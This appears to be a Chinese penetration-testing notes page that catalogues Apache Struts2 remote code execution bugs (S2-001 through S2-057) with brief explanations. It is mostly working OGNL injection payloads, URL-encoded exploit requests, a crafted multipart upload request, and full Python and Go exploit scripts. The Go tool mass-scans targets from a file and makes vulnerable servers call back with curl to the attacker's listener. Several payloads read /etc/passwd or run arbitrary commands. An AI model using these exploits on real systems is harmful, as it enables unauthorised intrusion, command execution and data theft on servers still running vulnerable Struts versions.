2.10 Struct2
Last updated
Last updated
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。
Struts 2.0.0 - Struts 2.0.8
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
首先打开漏洞界面
Get the tomcat path:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
Get the web site real path:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServlet
Execute command (command with parameter:new java.lang.String[]{"cat","/etc/passwd"}):
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
2.0.0-2.1.8.1
通过unicode 编码 \u0023 绕过struts对#的过滤,再通过设置xwork.MethodAccessor.denyMethodExecution 为false 和memberAccess.allowStaticMethodAccess为true 来绕过沙盒
获取信息(k8)
poc:
/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29
2.0.0-2.2.3
当配置了验证规则类型转换出错时进行了错误的字符串拼接进而造成了OGNL语句的执行。后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析,比较类似SQL注入单引号闭合,插入语句,官方修复的时候也跟sql注入比较相似,escape 对单引号转义
poc:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
2.1.0 - 2.3.1
主要是利用对传入参数没有严格限制导致多个地方可以执行恶意代码 第一种情况其实就是S2-007在异常处理时的OGNL执行 第二种的cookie的方式虽然在struts2没有对恶意代码进行限制但是java的webserverTomcat对cookie的名称有较多限制在传入struts2之前就被处理从而较为鸡肋 第四种需要开启devModedebug模式
复现采用的是第四种devMode的debug模式造成的任意代码执行
POC:
/S2-008/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29
2.1.0 - 2.3.1.1
这个漏洞跟s2-003 s2-005 属于一套的。 Struts2对s2-003的修复方法是禁止#号于是s2-005通过使用编码\u0023或\43来绕过于是Struts2对s2-005的修复方法是禁止\等特殊符号使用户不能提交反斜线。 但是如果当前action中接受了某个参数example这个参数将进入OGNL的上下文。所以我们可以将OGNL表达式放在example参数中然后使用/HelloWorld.acton?example=&(example)('xxx')=1的方法来执行它从而绕过官方对#、\等特殊字符的防御。
POC:
/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
2.1.0 - 2.3.13
如果在配置 Action 中 Result 时使用了重定向类型并且还使用 ${param_name} 作为重定向变量例如
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
这里 UserAction 中定义有一个 name 变量当触发 redirect 类型返回时Struts2 获取使用 ${name} 获取其值在这个过程中会对 name 参数的值执行 OGNL 表达式解析从而可以插入任意 OGNL 表达式导致命令执行。
POC:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
Struts 2.0.0 - Struts 2.3.14
struts 的标签中 和 都有一个 includeParams 属性 none - URL中不包含任何参数默认 get - 仅包含URL中的GET参数 all - 在URL中包含GET和POST参数 当includeParams=all的时候会将本次请求的GET和POST参数都放在URL的GET参数上。 明明可以urldecode一下就知道params是啥了但struts给OGNL解析了就造成了任意代码执行
POC:
第一个光有回显
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
2.0.0 - 2.3.14.2
基于通配符定义的动作映射如果一个请求跟任何其他定义的操作不匹配他将会匹配*并且请求的同操作名称的jsp文件
http://192.168.95.128:8080/example/HelloWorld.action ==>改成 http://192.168.95.128:8080/example/%{1%2B1}.action
POC:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
Struts2.0.0 - Struts2.3.15
DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀但是这些前缀后面同时可以跟OGNL表达式由于struts2没有对这些前缀做过滤导致利用OGNL表达式调用java静态方法执行任意系统命令
POC:
redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}
Struts 2.0.0 - Struts 2.3.15.1
<constant name="struts.devMode" value="true" />
POC:
/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27ipconfig%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%20%23d.read%28%23e%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%20%2C%20%23d.read%28%23e%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%20%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29
/example/HelloWorld.action?debug=command&expression=%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%22whoami%22).getInputStream())),%23resp.getWriter().flush(),%23resp.getWriter().close()
Struts 2.3.20 - Struts Struts 2.3.282.3.20.3和2.3.24.3除外
需要开启动态方法调用
使用?method:execute的方式调用execute方法execute方法是struts2中默认的action调用方法在method:后面加上我们要执行的ognl表达式即可执行任意代码了
/memoindex.action?method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=whoami&dd=%20&d=____A&encoding=UTF-8
Struts 2.3.20 - Struts Struts 2.3.282.3.20.3和2.3.24.3除外
POC
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=whoami
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success
Struts 2.3.20 - Struts Struts 2.3.282.3.20.3和2.3.24.3除外
和S2-033一样也是关于rest插件导致method变量被篡改造成的远程代码执行漏洞这个漏洞和之前S2-033是一个地方都是在DefaultActionInvocation.java的invokeAction方法中没有对于methodName参数内容进行校验便直接丢到了getValue方法里面从而造成Ongl表达式的注入。
/orders/4/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=whoami
2.3.31-2.3.5 2.5-2.5.10 和046类似只是攻击字段发生变化 045是Content-Type 046是filname
exp:
!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import urllib2
import httplib
def exploit(cmd):
ognl_payload = "%{(#_='multipart/form-data')."
ognl_payload += "(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
ognl_payload += "(@java.lang.Runtime@getRuntime().exec('{}'))".format(cmd)
ognl_payload += "}"
url = 'http://127.0.0.1:8080/struts2-showcase-2.3.12/showcase.action'
headers = {'Content-Type': ognl_payload}
request = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(request).read()
if len(sys.argv) < 2:
sys.exit('Usage: %s <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1])
2.3.5-2.3.31 2.5.0-2.5.10
使用Jakarta插件程序没有正确处理文件上传通过构造HTTP请求头中的Content-type造成RCE
常见访问路径
/struts2-showcase/fileupload/doUpload.action /doUpload.action /
抓流量 抓到一个 出web目录的 后面自己加\x00b
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).(#o.println(#path)).(#o.close())}
RCE
POST / HTTP/1.1
Host:192.168.95.128:8080
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 874
Content-Type: multipart/form-data; boundary=---------------------------7e116d19044c
-----------------------------7e116d19044c
Content-Disposition: form-data; name="test"; filename="%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}.b"
Content-Type: text/plain
x
-----------------------------7e116d19044c--
2.3.x
当实用了Struts2 Struts1 插件时可能导致不受信任的输入传入到ActionMessage类种导致命令执行
'''
Created on 2017-7-8
CVE: CVE-2017-9791
@author: DragonEgg
'''
import sys
import urllib
import httplib
import urllib2
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
def request(cmd):
cmd = urllib.quote(cmd)
data2="name=%25%7B%28%23_%3D%27multipart%2fform-data%27%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27"+cmd+"%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&age=123&__cheackbox_bustedBefore=true&description=123"
return data2
def post(url, data):
try:
req = urllib2.urlopen(url, data)
content = req.read()
return content
except urllib2.URLError, e:
print e
exit()
def check(url):
data=request('echo dragonegg')
res = post(url, data)
if 'dragonegg' in res:
print 's2-048 \033[1;32m EXISTS \033[0m!'
else:
print 's2-048 \033[1;31m NOT EXISTS \033[0m!'
def poc(url,cmd):
data=request(cmd)
res = post(url, data)
print res
def Usage():
print 'check:'
print ' python file.py http://1.1.1.1/struts2-showcase/integration/saveGangster.action'
print 'poc:'
print ' python file.py http://1.1.1.1/struts2-showcase/integration/saveGangster.action command'
if __name__ == '__main__':
if len(sys.argv) == 2:
check(sys.argv[1])
elif len(sys.argv) == 3:
poc(sys.argv[1],sys.argv[2])
else:
Usage()
exit()
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件其根据Content-Type或URI扩展名来判断用户传入的
package main
import (
"fmt"
"strings"
"net/http"
"log"
"io/ioutil"
"flag"
"crypto/tls"
"os"
"bufio"
"net"
"time"
)
var httpClient = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
const (
curlCommand = "curl %s:%d/?t=%s"
checkIpEndpoint = "http://checkip.amazonaws.com"
stringNodeEnclosure = "<string>%s</string>"
xmlPayload =
`<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
%s
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>`
)
// Builds the xml payload using the passed command
func buildXMLPayload(c string) string {
var t string
for _, p := range strings.Split(c, "\x20") {
t += fmt.Sprintf(stringNodeEnclosure, p)
}
return fmt.Sprintf(xmlPayload, t)
}
// Resolves the remote ip address of the current machine
func getMyExternalIp() string {
res, err := http.Get(checkIpEndpoint)
if err != nil {
log.Fatalln(err)
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatalln(err)
}
return strings.TrimRight(
string(body),
"\r\n",
)
}
// Starts a reverse listener
func startListener(port int, callback func(*http.Request)) {
http.HandleFunc("/", func(res http.ResponseWriter, req *http.Request) {
// Discards the response which is useless in this case and pass the
// request to our callback
callback(req)
})
server := &http.Server{}
listener, err := net.ListenTCP(
"tcp4",
&net.TCPAddr{
IP: net.IPv4(0, 0, 0, 0),
Port: port,
})
if err != nil {
log.Fatalln(err)
}
go server.Serve(listener)
}
func sendPayload(targetUrl string, payload string) {
req, err := http.NewRequest(http.MethodPost, targetUrl, strings.NewReader(payload))
if err != nil {
log.Fatalln(err)
}
//
req.Header.Set("content-type", "application/xml")
res, err := httpClient.Do(req)
if err != nil {
log.Fatalln(err)
}
res.Body.Close()
}
func checkTargetsFromFile(filename string, listenerPort int) {
file, err := os.Open(filename)
if err != nil {
log.Fatalln(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
// Starts the listener
startListener(listenerPort, func(req *http.Request) {
fmt.Println(req.URL.Query().Get("t") + " seems to be a vulnerable endpoint")
})
ip := getMyExternalIp()
for scanner.Scan() {
target := scanner.Text()
// Sends the payload
sendPayload(
target,
buildXMLPayload(
fmt.Sprintf(curlCommand, ip, listenerPort, target),
),
)
}
}
func isEmpty(s *string) bool {
return *s == ""
}
func main() {
urlPtr := flag.String("u", "", "target url")
commandPtr := flag.String("c", "", "command to be executed")
filePtr := flag.String("f", "", "file containing targets")
portPtr := flag.Int("p", 8080, "listener port")
flag.Parse()
if !isEmpty(urlPtr) && !isEmpty(commandPtr) {
// Sends a single request with the passed command
sendPayload(*urlPtr, buildXMLPayload(*commandPtr))
} else if !isEmpty(filePtr) {
// Reads a list of possible targets from a file and automatically
// check for RCE
checkTargetsFromFile(*filePtr, *portPtr)
// Waits some seconds before quitting to avoid false negative due
// to server latency. Hope to replace this workaround soon with some channels...
time.Sleep(10 * time.Second)
} else {
flag.Usage()
}
}
Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
Struts2在使用Freemarker模板引擎的时候同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析但由于被Freemarker解析一次后变成离开一个表达式被OGNL解析第二次导致任意命令执行漏洞。
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
小于等于 Struts 2.3.34 与 Struts 2.5.16
当Struts2的配置满足以下条件时
alwaysSelectFullNamespace值为true action元素未设置namespace属性或使用了通配符 namespace将由用户从uri传入并作为OGNL表达式计算最终造成任意命令执行漏洞。 http://127.0.0.1:8080/${1+1}/actionChain1.action ===> http://127.0.0.1:8080/2/register2.action
回显是url
2.3.34版本 RCE :white_check_mark:
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
urlencode===>
%24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
2.3.34版本RCE payload :white_check_mark:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}/actionChain1.action
urlencode==>
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
2.5.16版本 弹计算器 可能环境没配对 :x:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}/actionChain1.action
2.3.34版本弹计算器payload :x: 失败 2.5.16也失败
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("woami"))}/actionChain1.action
2.3.20版本弹计算器 没环境
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}/index.action
2.3.20版本RCE payload 没环境
${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}
工具 RCE payload :x:
%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23str%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27cmd%27%2c%23str))%7d
st2全版本漏洞扫描:
https://github.com/Lucifer1993/struts-scan
https://github.com/HatBoy/Struts2-Scan
k8 st2漏洞利用:
